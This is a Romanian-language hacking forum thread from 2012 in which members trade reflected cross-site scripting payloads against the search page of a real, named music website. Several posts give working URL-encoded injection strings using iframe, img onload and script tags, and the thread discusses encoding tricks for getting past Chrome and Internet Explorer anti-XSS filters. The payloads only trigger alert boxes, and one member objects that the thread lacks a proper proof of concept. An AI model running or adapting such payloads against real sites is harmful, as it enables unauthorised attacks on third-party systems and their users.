shark0der Posted September 24, 2012 Report Share Posted September 24, 2012 Cine are chef, asta e la ce am ajuns eu, mai lipseste un spatiu (cred) care nu ma lasa sa-l bag:http://www.dubstep.net/?p=2'onclick='alert(1);'Nu e vreun pe bani, nici premiu, nici vreun ajutor pentru mine, nici nimic altceva - doar daca are cineva chef distractii Ar fi bine sa nu spargeti nimic ci doar sa gasiti si eventual sa raportati, ascult muzica de acolo in fiecare zi PS: Nu uitati sa postati aici daca gasiti ceva Quote Link to comment Share on other sites More sharing options...
co4ie Posted September 25, 2012 Report Share Posted September 25, 2012 @shark0der:1 Nu ai postat unde trebuie ... beleste ochii data viitoare !2 O vulnerabilitate nu exista fara POC ... asta se face la Showoff ... iar tu nu ai gasit absolut nimic !!3 Cu un XSS nu te distrezi ... vulnerabilitatile nu sunt de distractie ! 4 Ar fi bine sa citesti regulile ca daca nu ... n-o sa ai viata lunga pe forum ! Quote Link to comment Share on other sites More sharing options...
Wubi Posted September 25, 2012 Report Share Posted September 25, 2012 http://www.dubstep.net/search.php?q=%27%22%3E%3Ciframe+src%3D%22javascript%3Aalert%28%2Fxss%2F%29%3B%22%3E%3C%2Fiframe%3E%3C Quote Link to comment Share on other sites More sharing options...
shark0der Posted September 27, 2012 Author Report Share Posted September 27, 2012 @shark0der:1 Nu ai postat unde trebuie ... beleste ochii data viitoare !2 O vulnerabilitate nu exista fara POC ... asta se face la Showoff ... iar tu nu ai gasit absolut nimic !!3 Cu un XSS nu te distrezi ... vulnerabilitatile nu sunt de distractie ! 4 Ar fi bine sa citesti regulile ca daca nu ... n-o sa ai viata lunga pe forum !Nu am zis ca am gasit o vulnerabilitate - nu e showoff, mai mult de atat nici nu am folosit cuvantul "vulnerabilitate". Am gasit doar ca e vulnerabil, nu vulnerabilitatea in sine - din acest motiv am si postat la "Challenges", ca am belit ochii unde as putea posta asa ceva. Am mentionat clar ca nu se face pentru bani, si am spus clar ca ar fi bine sa nu se sparga nimic, adica intelege si unul cu 2 clase ca e in scop educational, ceea ce nu contravine nici uneia din regulile site-ului (chiar am recitit intreg regulamentul ca sa fiu sigur). Te invit sa ma contrazici daca nu am dreptate. Quote Link to comment Share on other sites More sharing options...
gafi Posted September 27, 2012 Report Share Posted September 27, 2012 http://www.dubstep.net/search.php?q=%27%22%3E%3Ciframe+src%3D%22javascript%3Aalert%28%2Fxss%2F%29%3B%22%3E%3C%2Fiframe%3E%3CMerge doar in FF. Ai idee cum am putea modifica sa mearga si in Chrome sau IE? Am deschis un thread asemanator, pentru exemple de xss in Chrome sau IE. Am gasit cateva siteuri vulnerabile la XSS dar merge numai in FF orice as incerca. Sunt sigur ca exista si pentru restul browserelor.Multumesc oricui imi da un exemplu, link unde sa invat, ce as putea sa caut sa ma documentez. Quote Link to comment Share on other sites More sharing options...
Guest Nemessis Posted September 27, 2012 Report Share Posted September 27, 2012 Chrome si IE au filtre anti xss implementate by default. Quote Link to comment Share on other sites More sharing options...
gafi Posted September 27, 2012 Report Share Posted September 27, 2012 Nici o sansa sa treci de ele? Quote Link to comment Share on other sites More sharing options...
Guest Nemessis Posted September 27, 2012 Report Share Posted September 27, 2012 Daca reusesti sa faci un encoding care sa iti permita sa treci de filtre exista destule sanse. Doar ca nu e usor. Quote Link to comment Share on other sites More sharing options...
poq Posted September 27, 2012 Report Share Posted September 27, 2012 Imi cer scuze, pentru gafi.IE.http://www.dubstep.net/search.php?q=%22%3E%3Cimg+src%3D%22http%3A%2F%2Felectrohouse.ucoz.com%2F_ld%2F7%2F04134862.jpg%22+onload%3D%22alert%28String.fromCharCode%2888%2C83%2C83%29%29%22%2F%3E Quote Link to comment Share on other sites More sharing options...
gafi Posted September 27, 2012 Report Share Posted September 27, 2012 Imi cer scuze, pentru gafi.IE.http://www.dubstep.net/search.php?q=%22%3E%3Cimg+src%3D%22http%3A%2F%2Felectrohouse.ucoz.com%2F_ld%2F7%2F04134862.jpg%22+onload%3D%22alert%28String.fromCharCode%2888%2C83%2C83%29%29%22%2F%3EMultumesc pentru ajutor, in ultima ver de IE tot nu merge dar oricum multumesc. Mi-am facut o idee in mare despre ce este vorba, o sa trec la coding. Quote Link to comment Share on other sites More sharing options...
malsploit Posted September 27, 2012 Report Share Posted September 27, 2012 Daca reusesti sa faci un encoding care sa iti permita sa treci de filtre exista destule sanse. Doar ca nu e usor.http://www.dubstep.net/search.php?q=%22%3E%3Cscript%3E/*///*/alert(/Helloworld/);/*xx*/%3C/script%3E "><script>/*///*/alert(/hello world/);/**/</script> Quote Link to comment Share on other sites More sharing options...
